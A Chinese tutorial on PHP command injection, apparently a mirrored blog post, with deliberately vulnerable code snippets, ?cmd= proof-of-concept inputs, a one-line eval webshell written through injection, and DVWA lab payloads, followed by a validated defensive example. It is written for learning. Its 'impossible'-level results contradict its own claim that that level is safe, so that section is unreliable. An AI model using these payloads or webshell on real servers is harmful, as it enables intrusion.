zoukankan      html  css  js  c++  java
  • 4-8 命令注入(命令执行)

    4-8 命令注入(命令执行)

     

    命令注入,又称命令执行漏洞。(RCE,remote command execute)

     

    1. 漏洞原理

     

    成因:程序员使用后端脚本语言(如:PHP、ASP)开发应用程序的过程中,虽然脚本语言快速、方便,但也面临着一些问题,如:无法接触底层。如开发一些企业级的应用时需要去调用一些外部程序,而当调用这些外部程序(系统shell命令或者exe等可执行文件)时,就会用到一些函数去执行系统命令。

     

    原理:web应用在调用这些函数执行系统命令的时候,在没有做好过滤用户输入的情况下,如果用户将自己的输入作为系统命令的参数拼接到命令行中,就会造成命令注(命令执行)的漏洞。

     

    造成命令注入(命令执行)的条件:

    1. 用户输入作为拼接

    2. 没有足够的过滤

    3. web应用源码中有相关的敏感函数

     

     

    2. 漏洞危害

     

    1. 继承web服务器程序权限(web用户权限),便可去执行系统命令

    2. 继承web服务器权限,便可读写文件等

    3. 反弹shell

    4. 控制整个网站

    5. 控制整个服务器

     

     

    3. PHP常见的敏感函数和语句

     

    以下是一些能将字符串当作系统命令来执行的PHP函数。

     

    3.1 system()

    system()函数能够将字符串作为OS命令执行,并自带输出到当前页面的功能。

    最简单的存在system()命令注入漏洞的网页源代码(关键部分)
    <?php
    if($_REQUEST['cmd']){
    $str=$_REQUEST['cmd'];
    system($str);
    }
    ?>

    POC:可以提交参数 ?cmd=ipconfig作为POC进行注入测试。

     

    3.2 exec()

    exec()函数也能将字符串作为OS命令执行,但需要手动输出执行结果。

    最简单的存在exec()命令注入漏洞的网页源代码(关键部分)
    <?php
    if($_REQUEST['cmd']){
    $str=$_REQUEST['cmd'];
    print exec($str);
    }
    ?>

    POC:可以提交参数 ?cmd=ipconfig >> 1.txt 作为POC进行注入测试。

    注意:exec()不但自带输出结果到当前页面的功能,且即便使用print打印,返回的输出结果也是有限的。故采可用>>来将结果导入到一个文件里,再查看文件即可。

     

    3.3 shell_exec()

    shell_exec()函数也能将字符串作为OS命令执行,但需要手动输出执行结果。

    最简单的存在shell_exec()命令注入漏洞的网页源代码(关键部分)
    <?php
    if($_REQUEST['cmd']){
    $str=$_REQUEST['cmd'];
    print shell_exec($str);
    }
    ?>

    POC:可以提交参数 ?cmd=ipconfig作为POC进行注入测试。

     

    3.4 passthru()

    passthru()函数也能将字符串作为OS命令执行,并自带输出到当前页面的功能。

    最简单的存在passthru()命令注入漏洞的网页源代码(关键部分)
    <?php
    if($_REQUEST['cmd']){
    $str=$_REQUEST['cmd'];
    passthru($str);
    }
    ?>

    POC:可以提交参数 ?cmd=ipconfig作为POC进行注入测试。

     

    3.5 popen()

    popen()也能够执行OS命令,但是该函数不返回命令结果,而是返回一个文件指针。

    popen()函数用来打开进程文件指针,打开一个该进程的管道,接下来便可以对该进程进行操作。

    popen(command,mode)

    • command:必需。规定要执行的命令。

    • mode:必需。选择模式。可能的值:

    • r:只读

    • w:只写(打开并清空已有文件或创建一个新文件)

    最简单的存在popen()命令注入漏洞的网页源代码(关键部分)
    <?php
    if($_REQUEST['cmd']){
    $str=$_REQUEST['cmd'];
    popen($str,'r');
    }
    ?>

    POC:可以提交参数 ?cmd=ipconfig >> 1.txt 作为POC进行注入测试。

    注意:popen()返回的是一个文件指针,故采可用>>来将结果导入到一个文件里,再查看文件即可。

     

    3.6 反引号

    反引号[``]内的字符串也会被解析成OS命令。

    最简单的存在反引号[``]命令注入漏洞的网页源代码(关键部分)
    <?php
    if($_REQUEST['cmd']){
    $str=$_REQUEST['cmd'];
    print `$str`;
    }
    ?>

    POC:可以提交参数 ?cmd=ipconfig作为POC进行注入测试。

     

     

    4. 漏洞利用

     

    命令注入漏洞,攻击者直接继承web用户权限,可以在服务器上执行任意命令,危害特别大。

    以下是几种常见的利用方式,但利用方式不止这些,我们可以进行任何shell可以执行的操作。

    • 直接获取webshell

      例如可以写入一句话木马: ?cmd=echo "<?php @eval($_REQUEST[777]); ?>" > D:phpstudyWWWwebshell.php

    • 显示当前路径

      例如可以提交参数 ?cmd=cd 来查看当前路径。

    • 读文件

      例如:?cmd=type c:windowssystem32driversetchosts,来查看系统hosts文件。

    • 写文件

      例如可以提交参数 ?cmd=echo "<?php phpinfo(); ?>" > D:softwareshell.php

     

    以下是在注入点用来执行多条语句的分割参数:

    1. | # 管道符号(竖线)作用是将符号前的进程输出,并作为符号后进程的输入。此处也可以用于执行多条命令

      用法: command 1 | command 2 他的功能是把第一个命令command 1执行的结果作为command 2的输入传给command 2,并且只打印Command 2执行的结果

    2. || # 可同时执行多条命令,当碰到执行正确的命令时,将不再执行后面的命令。相当于‘或’,出现一个正确就行。

    3. && # 可同时执行多条命令,当碰到执行错误的命令时,将不再执行后面的命令。相当于‘与’,出现一个错误就不行。

    4. & # 同时执行多条命令,不管命令是否执行成功

    如:客户端页面是一个用来给客户指定一个目标主机并发送ping它的页面,所以此处很可能存在命令注入漏洞。

    服务端源码:
    <?php
    if( isset( $_POST[ 'Submit' ] ) ) {
       $target = $_REQUEST[ 'ip' ];
       if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
           $cmd = shell_exec( 'ping ' . $target );
      }            //若是windows就直接ping,否则linux一类的得加-c 4来停止ping命令。
       else {
           $cmd = shell_exec( 'ping -c 4 ' . $target );
      }
       echo "<pre>{$cmd}</pre>";
    }
    ?>

    我们可以提交参数 ?Submit=Submit&ip=192.168.1.1|net user 来进行POC检测。

     

     

    5. 漏洞防御

     

    1. 尽量减少能命令执行的函数的使用,允许的话可直接在php的配置文件php.ini中禁用

    2. 在使用命令执行的函数之前,首先对用户输入参数进行过滤

    3. 参数的值尽量使用引号包裹,并在拼接之前调用addslashes进行转义

     

    以下是一个过滤严格,不存在命令注入漏洞的服务器端源代码(核心):

    <?php

    if( isset( $_POST[ 'Submit' ] ) ) {
       // Check Anti-CSRF token
       checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

       // Get input
       $target = $_REQUEST[ 'ip' ];
       $target = stripslashes( $target );

       // Split the IP into 4 octects
       $octet = explode( ".", $target );

       // Check IF each octet is an integer
       if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
           // If all 4 octets are int's put the IP back together.
           $target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];

           // Determine OS and execute the ping command.
           if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
               // Windows
               $cmd = shell_exec( 'ping ' . $target );
          }
           else {
               // *nix
               $cmd = shell_exec( 'ping -c 4 ' . $target );
          }

           // Feedback for the end user
           echo "<pre>{$cmd}</pre>";
      }
       else {
           // Ops. Let the user name theres a mistake
           echo '<pre>ERROR: You have entered an invalid IP.</pre>';
      }
    }

    // Generate Anti-CSRF token
    generateSessionToken();

    ?>

    相关过滤机制介绍:

    Impossible级别的代码加入了Anti-CSRF token,同时对参数ip进行了严格的限制,只有诸如“数字.数字.数字.数字”的输入才会被接收执行,因此不存在命令注入漏洞。以下是相关函数介绍:

    • stripslashes(string)

    stripslashes函数会删除字符串string中的反斜杠,返回已剥离反斜杠的字符串。

    • explode(separator,string,limit)

    把字符串打散为数组,返回字符串的数组。参数separator规定在哪里分割字符串,参数string是要分割的字符串,可选参数limit规定所返回的数组元素的数目。

    • is_numeric(string)

    检测string是否为数字或数字字符串,如果是返回TRUE,否则返回FALSE。

    • generateSessionToken()和checkToken()

    generateSessionToken()用来生成Token,checkToken()则用来检查Token是否正确和一致。

     

     

    6. 漏洞实例

     

    DVWA平台的实验command injection模块:

    low级别:

    • 127.0.0.1|whoami # 注入命令成功

    • 127.0.0.1&whoami # 注入命令成功

    • 127.0.0.1&&whoami # 注入命令成功

    • 127.0.0.1||whoami # 注入命令成功

    medium级别:

    • 127.0.0.1|whoami # 注入命令成功

    • 127.0.0.1&whoami # 注入命令成功

    • 127.0.0.1&&whoami # 注入命令不成功,查看源码发现&&被过滤。

    • 127.0.0.1||whoami # 注入命令成功

    • 127.0.0.1&;&ipconfig # 注入命令成功

    high级别:

    • 127.0.0.1|whoami # 注入命令成功,因为源码过滤的是'| '(竖线+空格),故我们不在竖线后加空格就可绕开过滤。

    • 127.0.0.1&whoami # 注入命令不成功

    • 127.0.0.1&&whoami # 注入命令不成功

    • 127.0.0.1||whoami # 注入命令不成功

    impossible级别:

    • 127.0.0.1|whoami # 注入命令成功

    • 127.0.0.1&whoami # 注入命令成功

    • 127.0.0.1&&whoami # 注入命令不成功,查看源码发现&&被过滤。

    • 127.0.0.1||whoami # 注入命令成功

    •  

  • 相关阅读:
    事物的五种传播机制与七种传播行为
    Spring jdbcTemplate
    SpriingMVC执行流程结构
    SpringMVC视图解析器
    promise的基本使用和理解
    集合set的类型转换
    数据结构小结一
    Dotween的一些常用方法记录
    线程与进程的解释
    反射和特性
  • 原文地址:https://www.cnblogs.com/P201821460033/p/13699591.html
Copyright © 2011-2022 走看看